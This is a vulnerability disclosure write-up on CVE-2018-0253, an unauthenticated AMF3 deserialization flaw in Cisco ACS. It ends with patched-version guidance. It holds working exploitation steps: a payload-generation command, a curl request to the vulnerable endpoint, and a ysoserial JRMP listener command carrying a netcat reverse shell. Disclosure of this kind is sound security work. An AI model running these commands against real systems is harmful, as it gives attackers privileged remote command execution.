Recently Markus Wulftange from Code White
shared an interesting study on how to attack a web application if it is written in Java and uses the AMF3 protocol. This protocol can be found where Flash is used and data exchange between the SWF object and the server part of the application is required. The protocol allows transmitting serialized objects of the type flash.utils.IExternalizable to the server. These server-side objects are deserialized, type conversion occurs, and flash.utils.IExternalizable is turned into java.io.Externalizable. It should be noted that the classes that implement this interface completely control their own serialization and deserialization processes themselves. This means that you can try to find such a class, during deserialization of which arbitrary code will be executed.
Markus investigated all the classes from OpenJDK 8u121 that implement the java.io.Externalizable interface and found that among them are the sun.rmi.server.UnicastRef and sun.rmi.server.UnicastRef2 classes related to the RMI mechanism. If you properly prepare an object of one of these classes (initialize it with a link to the attacker's host) and then transfer it to a vulnerable server, the server's JVM will register the LiveRef link to the “remote object”. After this, the garbage collection engine will attempt to establish a JRMP connection to the specified host. And as you know, the JRMP protocol involves the exchange of serialized Java objects. This can be used to carry out de-serialization attacks.
CVE-2018-0253 or how we hacked the Cisco ACS
Once, during one of our tests, we got access to Cisco ACS 5.8. At the same time, we had the opportunity to connect to a working server via a web interface. During the analysis of the web interface, we found that POST requests containing AMF3 objects are sent from the client to the server.
Later it was noticed that the server accepts such POST requests without authorization.HTTP response headers indicated that the web interface is implemented in Java. So you can try to attack.
Download the
original exploit and change the host and port variables. When compiling, you need to make sure that CLASSPATH contains the path to the Apache BlazeDS library. Running the compiled code will output the AMF package: a serialized UnicastRef object, which is initialized with the LiveRef link to our server.
javac Amf3ExternalizableUnicastRef.java && java Amf3ExternalizableUnicastRef > payload
Send an HTTP request containing the generated AMF packet to the Cisco ACS and see the connection attempt.
curl -X POST -H "Content-type: application/x-amf" --data-binary @payload -k \ https://[IP Cisco ACS]/acsview/messagebroker/amfsecure
This happened because the vulnerable version of the Apache BlazeDS library is installed on the server. Cisco ACS unpacked the AMF packet, deserialized the object we transmitted, and now the garbage collector is trying to establish a JRMP connection to our server. If this request is answered with an RMI object, the Cisco ACS deserializes the received data, and executes our code.
We use the utility ysoserial. It will act as a JRMP server: when a client connects, it will receive an object from the CommonsCollection1 library, inside which is the code for executing the reverse shell.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 443 CommonsCollections1 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ] 80 >/tmp/f'
Now we repeat the sending of the AMF packet and get the reverse shell:
Instead of conclusion
The found vulnerability allows an unauthorized attacker to execute arbitrary commands from a privileged user. It was
rated by the manufacturer
at 9.8 on the CVSS scale . We advise everyone who uses this software to install the latest patch.
Vulnerable software:
- Cisco ACS <5.8.0.32.7 - is vulnerable, authorization is not required;
- Cisco ACS 5.8.0.32.7, 5.8.0.32.8 - is vulnerable, authorization is required;
- Starting with Cisco ACS 5.8.0.32.9 - the vulnerability is closed.
Authors : Mikhail Klyuchnikov and Yury Aleinov, Positive Technologies